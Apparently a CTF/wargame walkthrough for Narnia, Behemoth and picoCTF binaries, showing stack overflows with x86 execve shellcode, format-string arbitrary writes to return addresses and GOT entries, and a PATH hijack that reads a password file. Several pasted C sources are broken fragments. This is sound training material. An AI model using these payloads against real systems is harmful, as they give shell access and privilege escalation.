export EGG=`python -c 'print "\x90"*90 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"'`

Searching our environment variable we get it at address 0xffffd8d4.

(gdb) x/100xw $esp+500
0xffffd7e4: 0x0000000f  0xffffd80b  0x00000000  0x00000000
0xffffd7f4: 0x00000000  0xde000000  0x1a2a5992  0xf11444ea
0xffffd804: 0x11433cf3  0x694a71a2  0x00363836  0x672f0000
0xffffd814: 0x73656d61  0x72616e2f  0x2f61696e  0x6e72616e
0xffffd824: 0x00386169  0x41414141  0x41414141  0x41414141
0xffffd834: 0x41414141  0x41414141  0xffffd828  0x41414141
0xffffd844: 0x41414141  0x41414141  0x42424242  0x47445800
0xffffd854: 0x5345535f  0x4e4f4953  0x3d44495f  0x35343239
0xffffd864: 0x45485300  0x2f3d4c4c  0x2f6e6962  0x68736162
0xffffd874: 0x52455400  0x74783d4d  0x006d7265  0x5f485353
0xffffd884: 0x45494c43  0x353d544e  0x34392e39  0x2e31362e
0xffffd894: 0x20343731  0x37373835  0x32322032  0x48535300
0xffffd8a4: 0x5954545f  0x65642f3d  0x74702f76  0x31312f73
0xffffd8b4: 0x5f434c00  0x3d4c4c41  0x47450043  0x90903d47
0xffffd8c4: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd8d4: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd8e4: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd8f4: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd904: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd914: 0x90909090  0x90909090  0x99580b6a  0x2f2f6852
0xffffd924: 0x2f686873  0x896e6962  0xcdc931e3  0x53550080
0xffffd934: 0x6e3d5245  0x696e7261  0x4c003861  0x4f435f53
0xffffd944: 0x53524f4c  0x3d73723d  0x69643a30  0x3b31303d

Let’s redirect our program to 0xffffd8d4 to get the shell

(gdb) run `python -c 'print "A"*20 + "\x28\xd8\xff\xff" + "A"*12 + "\xd4\xd8\xff\xff"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 `python -c 'print "A"*20 + "\x28\xd8\xff\xff" + "A"*12 + "\xd4\xd8\xff\xff"'`

Breakpoint 1, 0x080484a7 in func ()
(gdb) c
process 19900 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "func" in current context.
Error in re-setting breakpoint 1: No symbol "func" in current context.
Error in re-setting breakpoint 1: No symbol "func" in current context.

Trying this without gdb didn’t work because the address of character array changes

narnia8@melinda:/narnia$ ./narnia8 `python -c 'print "A"*20 + "\x28\xd8\xff\xff" + "B"*12 + "\xd4\xd8\xff\xff"'`
narnia8@melinda:/narnia$ ./narnia8 `python -c 'print "A"*20 + "\x28\xd8\xff\xff" + "B"*12 + "\xd4\xd8\xff\xff"'` | hexdump
0000000 4141 4141 4141 4141 4141 4141 4141 4141
0000010 4141 4141 4128 ffff 0a02

Changing 28 to 0a just by chance gave me the correct address to be pointed at

narnia8@melinda:/narnia$ ./narnia8 `python -c 'print "A"*20 + "\x0a\xd8\xff\xff" + "B"*12 + "\xd4\xd8\xff\xff"'` | hexdump
0000000 4141 4141 4141 4141 4141 4141 4141 4141
0000010 4141 4141 d837 ffff 0a03
narnia8@melinda:/narnia$ ./narnia8 `python -c 'print "A"*20 + "\x37\xd8\xff\xff" + "B"*12 + "\xd4\xd8\xff\xff"'`

For example, below you need the address of secret to write the new value 0x1337beef.

unsigned secret = 0xdeadbeef;

int main(int argc, char **argv){
    unsigned *ptr;
    unsigned value;
    char key[33];
    FILE *f;
    printf("Welcome! I will grant you one arbitrary write!\n");
    printf("Where do you want to write to? ");
    scanf("%p", &ptr);
    printf("Okay! What do you want to write there? ");
    scanf("%p", (void **)&value);
    printf("Writing %p to %p...\n", (void *)value, (void *)ptr);
    *ptr = value;
    printf("Value written!\n");
    if (secret == 0x1337beef){
        printf("Woah! You changed my secret!\n");
        printf("I guess this means you get a flag now...\n");

        f = fopen("flag.txt", "r");
        fgets(key, 32, f);
    printf("My secret is still safe! Sorry.\n");
  • In another challenge below, It can be easily seen the value of secret can be changed after entering 16 characters + 0xc0deface. As, 0xc0deface can’t be printed as ASCII characters, you can use python to pass the input.
python -c ' print "A" * 16 + "\xc0\xde\xfa\xce"' or python -c ' print "A" * 16 + "\xce\xfa\xde\xc0"' based on the endianess of the system.
void give_shell(){
     gid\_t gid = getegid();
     setresgid(gid, gid,gid);
     system("/bin/sh -i"); }

void vuln(char \*input){
     char buf[16];
     int secret = 0;

 if (secret == 0xc0deface){
     printf("The secret is %x\n", secret);


int main(int argc, char \*\*argv)
{ if (argc > 1)
     return 0; }
  • Controlling the EIP: In the below challenge, an attacker can use a buffer overflow to take control of the program’s execution. the return address for the call to vuln function is above buf on the stack, so it can be overwritten with an overflow. this allows an attacker to put nearly any address they desire in place of the return address. in this example, the goal is to call the give_shell function.
  • We need to find the address of give_shell function which can be done either by using gdb and print give_shell or objdump -d outputfile | grep give_shell.
  • To know the EIP offset, you can use cyclic patterns. Use pattern_create.rb and pattern_offset.rb So pattern_create.rb 100 for instance will create a 100 byte cyclic pattern.
  • Then you feed this as your input to the vulnerable program and it will crash. so get the value of EIP at that point.
  • Then, we just need to pass the input to the program by
./a.out $(python -c ' print "A" \* Offset + "Address of give\_shell in hex"' )
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* This never gets called! */
void give_shell(){
     gid_t gid = getegid();
     setresgid(gid, gid, gid);
     system("/bin/sh -i");

void vuln(char *input){
     char buf[16];
     strcpy(buf, input);

int main(int argc, char **argv){
     if (argc > 1)
        return 0;
  • Execute Me: If you check the below code, getegid() function shall return the effective group ID of the calling process., setresuid() sets the real user ID, the effective user ID, and the saved set-user-ID of the calling process. If you see, read function read the stdin into the buffer and (function_ptf) buf() function is called which would call anything in the buffer.
  • Since, buf will execute anything, we need a shell code to fit in 128 bytes, There are plenty of shellcode (with different platforms and different working)which can be found on Shell-Storm.

  • Then, we just need to pass the input to the program by

    ./a.out $(python -c ' print "A" \* Offset + "Address of give\_shell in hex"' )
    #include <stdio.h>
    #include <stdlib.h>
    int token = 0;
    typedef void (*function_ptr)();
    void be_nice_to_people(){
        gid_t gid = getegid();
        setresgid(gid, gid, gid);
    int main(int argc, char **argv){
             char buf[128];
             read(0, buf, 128);
  • ROP1: This binary is running on a machine with ASLR! (Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks.) Can you bypass it?
  • From the code provided we can see that there’s a buffer overflow in the vuln() function due to the strcpy() call. run the program within gdb and see what the state of the registers and the stack are at the time of the crash.
  • From the cylic patterns tools, we could find that offset is at 76 which could be confirmed by providing a input of 76 “A”s and 4 “B”s to overwrite EIP. set a breakpoint after the call to strcpy(); that is *vuln+24. After the leave instruction is executed, EIP will be set to 0x424242.
  • EAX points to our buffer of “A”s and since the binary doesn’t have the NX bit, we can execute shellcode on the stack. To bypass ASLR, we just need to find an address that will do a JMP/CALL EAX and set that as our return address. msfelfscan can find a list of instructions to accomplish this:
  • Since the binary is compiled for 32 bit, searching the shellcode in Shellstorm for Linux_x86 executing /bin/sh, we get 21 bytes shellcode in kernelpanic.
  • As EAX contains the 76*A + BBBB when the vuln function returns, we just need to find address which will execute JMP EAX, it can be found by msfelfscan -j eax binary_file
  • One more small but important observation is the number of NOPs, as our shellcode is 21 bytes and offset is 76 bytes and jmp is 4 bytes. So, 76 - 21 - 4 = 51.
import struct
code = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
jmpeax = struct.pack("<I",0x080483e7)
print "\x90"*51 + code + jmpeax
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void be_nice_to_people(){
     gid_t gid = getegid();
     setresgid(gid, gid, gid);

void vuln(char *name){
     char buf[64];
     strcpy(buf, name);

int main(int argc, char **argv){
    if(argc > 1)
       return 0;

Format String Examples

Let’s see a simple example of a format string vulnerabilty.

  • Narnia5
include <stdio.h>
include <stdlib.h>
include <string.h>

int main(int argc, char \*\*argv){
     int i = 1; char buffer[64];
     snprintf(buffer, sizeof buffer, argv[1]);
     buffer[sizeof (buffer) - 1] = 0;
     printf("Change i's value from 1 -> 500. ");


     printf("No way...let me give you a hint!\n");
     printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
     printf ("i = %d (%p)\n", i, &i);
     return 0;

Let’s try to see what’s on stack and if we can put something on stack and change the value of i.

narnia5@melinda:~$ /narnia/narnia5
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x Change i's value from 1 -> 500.
No way...let me give you a hint! buffer :
[f7eb6de6.ffffffff.ffffd6ae.f7e2ebf8.62653766.36656436.6666662e.] (63) i
= 1 (0xffffd6cc)

      narnia5@melinda:~$ /narnia/narnia5
      AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x Change i's value from 1 ->
      500. No way...let me give you a hint! buffer :
      [AAAAf7eb6de6.ffffffff.ffffd6ae.f7e2ebf8.41414141.62653766.36656] (63) i
      = 1 (0xffffd6cc)

      narnia5@melinda:~$ /narnia/narnia5
      ``python -c 'print "\xcc\xd6\xff\xff%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"'``
      Change i's value from 1 -> 500. No way...let me give you a hint! buffer
      : [����f7eb6de6.ffffffff.ffffd6ae.f7e2ebf8.ffffd6cc.62653766.36656] (63)
      i = 1 (0xffffd6cc)

      narnia5@melinda:~$ /narnia/narnia5
      ``python -c 'print "\xcc\xd6\xff\xff%08x.%08x.%08x.%08x.%08n.%08x.%08x.%08x"'``
      Change i's value from 1 -> 500. No way...let me give you a hint! buffer
      : [����f7eb6de6.ffffffff.ffffd6ae.f7e2ebf8..62653766.36656436.6666] (63)
      i = 40 (0xffffd6cc)

      narnia5@melinda:~$ /narnia/narnia5
      ``python -c 'print "\xcc\xd6\xff\xff%08x.%08x.%08x.%468x.%08n.%08x.%08x.%08x"'``
      Change i's value from 1 -> 500. GOOD $
  • In this example, let’s see use of arbitary writing an address Narnia7
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();

int main(int argc, char **argv){
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);

int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");

        return 0;

int hackedfunction(){
        printf("Way to go!!!!");

        return 0;

If we see, the program provides us with the address of the ptrf pointer, goodfunction and bad function. The ptrf is assigned the address of goodfunction if we somehow change it to address of the badfunction, we can get a shell. Let’s run the program and see what are the address we get.

./narnia71 A
goodfunction() = 0x804871f
hackedfunction() = 0x8048745

before : ptrf() = 0x804871f (0xffb4450c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..


narnia7@melinda:/narnia$ ./narnia7 A
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd64c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..

The reason I have added two running instances is because in the first instance the address is different by one byte 0x1f and 0x45 where as in the second instance the address differs by two bytes 0x86e0 and 0x8706. We can write two bytes by %hn and one byte by %hhn. We can write whole 4 byte address by following a formula



[addr+2][addr] = \x4e\xd6\xff\xff\x4c\xd6\xff\xff
%.[HOB - 8]x   = 0x804 - 8 = 7FC (2044) = %.2044x
%[offset]$hn   = %6\$hn
%.[LOB - HOB]x = 0x8706 - 0x804 = 7F02 (32514) = %.32514x
%[offset+1]$hn = %7\$hn

`python -c 'print "\x4e\xd6\xff\xff\x4c\xd6\xff\xff" +"%.2044x%6\$hn %.32514x%7\$hn"'`

We also need to find the offset where the address is stored which can be done by two methods: Either compiling the program on local machine and checking the buffer just after snprintf

gdb-peda$ p buffer
$2 = "AAAA.000008a2.f7fdeb58.f7fde860.0804835c.0804871f.41414141.3030302e.61383030", '\000' <repeats 51 times>

or by using ltrace

narnia7@melinda:/narnia$ ltrace ./narnia7 `python -c 'print "AAAA" + ".%08x"*7'`
__libc_start_main(0x804868f, 2, 0xffffd764, 0x8048740 <unfinished ...>
memset(0xffffd620, '\0', 128)                                                                                          = 0xffffd620
printf("goodfunction() = %p\n", 0x80486e0goodfunction() = 0x80486e0
)                                                                             = 27

)                                                                         = 30
printf("before : ptrf() = %p (%p)\n", 0x80486e0, 0xffffd61cbefore : ptrf() = 0x80486e0 (0xffffd61c)
)                                                           = 41
puts("I guess you want to come to the "...I guess you want to come to the hackedfunction...
printf("hackedfunction() = %p\n\n", 0x8048706hackedfunction() = 0x8048706
)                                                                            = 50
sleep(2)                                                                                                               = 0
snprintf("AAAA.08048238.ffffd678.f7ffda94."..., 128, "AAAA.%08x.%08x.%08x.%08x.%08x.%0"..., 0x8048238, 0xffffd678, 0xf7ffda94, 0, 0x80486e0, 0x41414141, 0x3038302e) = 67
puts("Welcome to the goodfunction, but"...Welcome to the goodfunction, but i said the Hackedfunction..
)                                                                            = 61
fflush(0xf7fcaac0)                                                                                                     = 0
exit(0 <no return ...>
+++ exited (status 0) +++

If you see 0x41414141 is at offset 6.

gdb-peda$ p ptrf
$3 = (int (*)()) 0x804871f <goodfunction>
gdb-peda$ p &ptrf
$4 = (int (**)()) 0xffffd2ec
gdb-peda$ x /10xb 0xfffd3ea
0xfffd3ea:  Cannot access memory at address 0xfffd3ea
gdb-peda$ x /10xb 0xffffd3ea
0xffffd3ea: 0x3f    0x77    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd3f2: 0x00    0x00
gdb-peda$ x /10xb 0xffffd2ea
0xffffd2ea: 0x04    0x08    0x1f    0x87    0x04    0x08    0x41    0x41
0xffffd2f2: 0x41    0x41
gdb-peda$ p goodfunction
$5 = {int ()} 0x804871f <goodfunction>
gdb-peda$ p ha
hackedfunction  hasmntopt
gdb-peda$ p hackedfunction
$6 = {int ()} 0x8048745 <hackedfunction>
gdb-peda$ p &ptrf
$10 = (int (**)()) 0xffffd2fc
gdb-peda$ run `python -c 'print "\xfc\xd2\xff\xff" + ".%08x"*5 + "%hhn"'`
gdb-peda$ p ptrf
$12 = (int (*)()) 0x8048731 <goodfunction+18>
gdb-peda$ x /10xb 0xffffd2fa
0xffffd2fa: 0x04    0x08    0x31    0x87    0x04    0x08    0xfc    0xd2
0xffffd302: 0xff    0xff
  • Let’s see another example Behemoth3 where we have only the assembly code of the program and we exploit this by two methods by overwriting the GOT address or overwriting the return address.

Assembly Source Code:

(gdb) disassemble main
Dump of assembler code for function main:
   0x0804847d <+0>: push   %ebp
   0x0804847e <+1>: mov    %esp,%ebp
   0x08048480 <+3>: and    $0xfffffff0,%esp
   0x08048483 <+6>: sub    $0xe0,%esp
   0x08048489 <+12>:    movl   $0x8048570,(%esp)
   0x08048490 <+19>:    call   0x8048330 <printf@plt>
   0x08048495 <+24>:    mov    0x80497a4,%eax
   0x0804849a <+29>:    mov    %eax,0x8(%esp)
   0x0804849e <+33>:    movl   $0xc8,0x4(%esp)
   0x080484a6 <+41>:    lea    0x18(%esp),%eax
   0x080484aa <+45>:    mov    %eax,(%esp)
   0x080484ad <+48>:    call   0x8048340 <fgets@plt>
   0x080484b2 <+53>:    movl   $0x8048584,(%esp)
   0x080484b9 <+60>:    call   0x8048330 <printf@plt>
   0x080484be <+65>:    lea    0x18(%esp),%eax
   0x080484c2 <+69>:    mov    %eax,(%esp)
   0x080484c5 <+72>:    call   0x8048330 <printf@plt>
   0x080484ca <+77>:    movl   $0x804858e,(%esp)
   0x080484d1 <+84>:    call   0x8048350 <puts@plt>
   0x080484d6 <+89>:    mov    $0x0,%eax
   0x080484db <+94>:    leave
   0x080484dc <+95>:    ret
End of assembler dump.

Observed Behavior:

behemoth3@melinda:/tmp/rahul3$ ./behemoth3
Identify yourself: HelloCheck123
Welcome, HelloCheck123

aaaand goodbye again.

Well, we tried to provide a very large input to the Identify yourself, but it didn’t not gave a segmentation fault. Let’s try format string:

behemoth3@melinda:/tmp/rahul3$ echo `python -c 'print "A"*4 + ".%08x"*7'` | ./behemoth3
Identify yourself: Welcome, AAAA.000000c8.f7fcac20.00000000.00000000.f7ffd000.41414141.3830252e

aaaand goodbye again.

Trying simple format string provided us with the offset of our format string. Now we can write almost any address with any value with our input. Before that let’s put a environment variable shellcode and check it’s address:

export EGG=`python -c 'print "\x90"*90 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"'`

Let’s core dump the binary using %s and examine the core. Our shellcode can be reached at 0xffffd8f0

  • Either we can overwrite the return address (main+95): Let’s debug the program set the breakpoint at main+95 and see the value of $esp which would be use to find the return address when binary is executed without gdb. The valueis 0xf7e3ba63 and the return address which needed to be overwrriten is 0xffffd65c. Let’s again core dump the binary to see the return address without gdb.
(gdb) find $esp,+2000,0xf7e3ba63
1 pattern found.

So, if we overwrite the return address at 0xffffd66c with our shellcode value of 0xffffd8f0, we should get a shell.

python -c 'print "\x5e\xd6\xff\xff\x5c\xd6\xff\xff" +"%.65527x%6$hn %.55503x%7$hn"' > input98

This is little tricky because we might have to guess the return address without gdb. Previously it was coming 0xffffd66c but we got shell using 0xffffd65c.

  • overwrite the puts GOT address: Find the GOT address of puts which is 0x08049790 and overwrite it with
python -c 'print "\x92\x97\x04\x08\x90\x97\x04\x08" +"%.65527x%6$hn %.55503x%7$hn"'
  • In the below code, if we can somehow set the value of secret to 1337, we can get a shell on the system to read the flag. Also, the printf function directly prints the argument whatever is passed by the user. By concepts above, we need to find the address of secret and write to it. Address of the secret can be found by gdb or objdump. Either the address would be already present on stack or it can be put on stack.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int secret = 0;

void give_shell(){
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");

int main(int argc, char **argv){
    int *ptr = &secret;

    if (secret == 1337){
    return 0;

Reading the address

pico83515@shell:/home/format$ gdb -q format
Reading symbols from format...(no debugging symbols found)...done.
(gdb) p $secret
$1 = void
(gdb) p &secret
$2 = (<data variable, no debug info> *) 0x804a030 <secret>

Now we have to find whether is this address present on the stack? If not, we can put this address on the stack because of the format string vulnerability.

pico83515@shell:/home/format$ ./format %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x

We see that the address is present on the stack at the seventh position. Otherwise, we can put it on the stack by

for i in {1..256};do echo -n "Offset: $i:"; env -i ./format AAAA%$i\$x;echo ;done | grep 4141

What this is doing is “Extracting particular stack content by “%$i$x”. As we have seen in DMA, $x can be used to extract particular stack content and reading it. $i value changes from 1-256. However, as you add more data, the offset of your original input changes, so go ahead and add 1333 more bytes of data and see what the offset is then. (1337 is what we want to put into secret, and we will have written four bytes (AAAA), so 1333+4 = 1337)

or i in {1..256};do echo -n "Offset: $i:"; env -i ./format AAAA%$i\$x%1333u;echo ;done | grep 4141
Offset: 103:AAAA41410074
Offset: 104:AAAA31254141

So we found our A’s again, but they aren’t aligned on the stack. Lets add two more A’s at the end to see if we can get it to line up.

for i in {1..256};do echo -n "Offset: $i:"; env -i ./format AAAA%$i\$x%1333uAA;echo ;done | grep 41414141
Offset: 103:AAAA41414141

It looks like the address 0x0804a030 is getting placed in *ptr. That’s the address we need to use in place of our A’s. In order to place the number 1337 into secret’s memory address, we need to use the %n modifier. (%103$n will look at the data located at offset 103 as a memory address, and write the total number of bytes we have written so far into that address.)

pico1139@shell:/home/format$: env -i ./format $:`(python -c 'print "\x30\xa0\x04\x08"+"%1333u%103`\ nAA"')
$ id
uid=11066(pico1139) gid=1008(format) groups=1017(picogroup) $ ls
Makefile flag.txt format format.c $ cat flag.txt

Otherwise as the address at the seventh is already present on stack we can also do

plain pico83515@shell:/home/format$ ./format "%1337u%7$n"

We used DMA to access the memory, so written 1337 directly at the address pointed by the 7th position. Otherwise, we can use the basic

./format %08x.%08x.%08x.%08x.%08x.%1292u%n

If you see, we did 5 stack pop-up by using %08x, written the value to be written at 6th position and 7th position contains the address of secret. If you further see “%08x.” is of eight characters + 1 of ”.” or 9 bytes, used five times i.e 9*5=45 bytes and 1292+45 == 1337.

  • In another example below,
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define BUFSIZE 256

void greet(int length){
    char buf[BUFSIZE];
    puts("What is your name?");
    read(0, buf, length);
    printf("Hello, %s\n!", buf);

void be_nice_to_people(){
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

int main(int argc, char **argv){
    int length;

    puts("How long is your name?");
    scanf("%d", &length);

    if(length < BUFSIZE) //don't allow buffer overflow
        puts("Length was too long!");

This program tries to prevent buffer overflows by first asking for the input length. It disregards the rest of the ouput. However, the program uses scanf. If we supply -1 as the length, we can bypass the overflow check: readelf -l no_overflow can be used to find if there’s any protection on the binary. Stack is executable, Furthermore, ASLR is not enabled. This makes it easy to stick in a shellcode plus a NOP sled and return to an address on the stack

pico1139@shell:/home/no_overflow$ (echo -1; python -c 'print "A"*268+"\xd0\xd6\xff\xff"+"\x90"*200+" "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'; cat) | ./no_overflow
How long is your name?
What is your name?

uid=11066(pico1139) gid=1007(no_overflow) groups=1017(picogroup)
cat flag.txt
  • In an another example where stack is not executable, If you read the code, you would find, we need to change the file_name from not_the_flag.txt to flag.txt. In this example, they provided the address of the string “not_the_flag.txt” as 0x08048777. By putting a break point in puts in gdb and looking for the address of flag.txt.
(gdb) br *puts
Breakpoint 1 at 0x8048460
(gdb) run
Starting program: /home/what_the_flag/what_the_flag

Breakpoint 1, 0xf7e81ee0 in puts () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/s 0x08048777
0x8048777:  "not_the_flag.txt"
(gdb) x/s 0x08048778
0x8048778:  "ot_the_flag.txt"
(gdb) x/s 0x08048770
0x8048770:  "le: %s"
(gdb) x/s 0x0804877C
0x804877c:  "he_flag.txt"
(gdb) x/s 0x0804877D
0x804877d:  "e_flag.txt"
(gdb) x/s 0x0804877E
0x804877e:  "_flag.txt"
(gdb) x/s 0x0804877F
0x804877f:  "flag.txt"
#include <stdlib.h>
#include <stdio.h>

struct message_data{
    char message[128];
    char password[16];
    char *file_name;

void read_file(char *buf, char *file_path, size_t len){
    FILE *file;
    if(file= fopen(file_path, "r")){
        fgets(buf, len, file);
        sprintf(buf, "Cannot read file: %s", file_path);

int main(int argc, char **argv){
    struct message_data data;
    data.file_name = "not_the_flag.txt";

    puts("Enter your password too see the message:");

    if(!strcmp(data.password, "1337_P455W0RD")){
        read_file(data.message, data.file_name, sizeof(data.message));
        puts("Incorrect password!");

    return 0;

So we’ll ovewrite the file pointer with 0x804877f to make it read flag.txt. From gets()’s manual: gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte (‘\0’). No check for buffer overrun is performed (see BUGS below). So by using the following input, we can overwrite the file pointer and still provide the correct password:


We use this in the command line to get the flag

pico83515@shell:/home/what_the_flag$ printf "1337_P455W0RD\0bb\x7f\x87\x04\x08" | ./what_the_flag
Enter your password too see the message:
Congratulations! Here is the flag: who_needs_%eip


Miscellanous Examples

Let’s see some miscellanous examples away from Buffer/Format Vulnerabilities.

  • So, we have a binary which when executed gives
behemoth2@melinda:/behemoth$ ./behemoth2
touch: cannot touch '13373': Permission denied

Let’s see what ltrace provides us

behemoth2@melinda:/behemoth$ ltrace ./behemoth2
__libc_start_main(0x804856d, 1, 0xffffd794, 0x8048640 <unfinished ...>
getpid()                                                                                                               = 14118
sprintf("touch 14118", "touch %d", 14118)                                                                              = 11
__lxstat(3, "14118", 0xffffd688)                                                                                       = -1
unlink("14118")                                                                                                        = -1
system("touch 14118"touch: cannot touch '14118': Permission denied
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                                 = 256

Let’s see a truncated output of disassemble main, if we see getpid gets the binary pid, sprintf something in some buffer, lstat provides thefile status, unlink -call the unlink function to remove the specified file.

(gdb) disassemble main
Dump of assembler code for function main:
   0x08048588 <+27>:    call   0x8048410 <getpid@plt>
   0x080485b3 <+70>:    call   0x8048450 <sprintf@plt>
   0x080485c7 <+90>:    call   0x80486c0 <lstat>
   0x080485df <+114>:   call   0x8048400 <unlink@plt>
   0x080485eb <+126>:   call   0x8048420 <system@plt>
   0x080485f7 <+138>:   call   0x80483e0 <sleep@plt>
   0x08048616 <+169>:   call   0x8048420 <system@plt>
   0x08048635 <+200>:   leave
   0x08048636 <+201>:   ret

If you check the ltrace output

system("touch 14118"touch: cannot touch '14118': Permission denied

touch is being called without an absolute path, so we can take advantage of that. First we’ll create our own touch script that prints out the contents /etc/behemoth_pass/behemoth3. Next, the PATH variable needs to be updated so that it looks at the current working directory first to ensure that our touch script is executed and not the actual touch program. PATH=/tmp:$PATH, you set /tmp to your primary location to search for binaries and the like... so if you create a file in /tmp/ called touch, it’ll actually execute that instead of /usr/bin/touch

behemoth2@melinda:/tmp/rahul2$ cat touch
cat /etc/behemoth_pass/behemoth3
behemoth2@melinda:/tmp/rahul2$ history | grep PATH
19  history | grep PATH
behemoth2@melinda:/tmp/rahul2$ PATH=/tmp/rahul2:$PATH /behemoth/behemoth2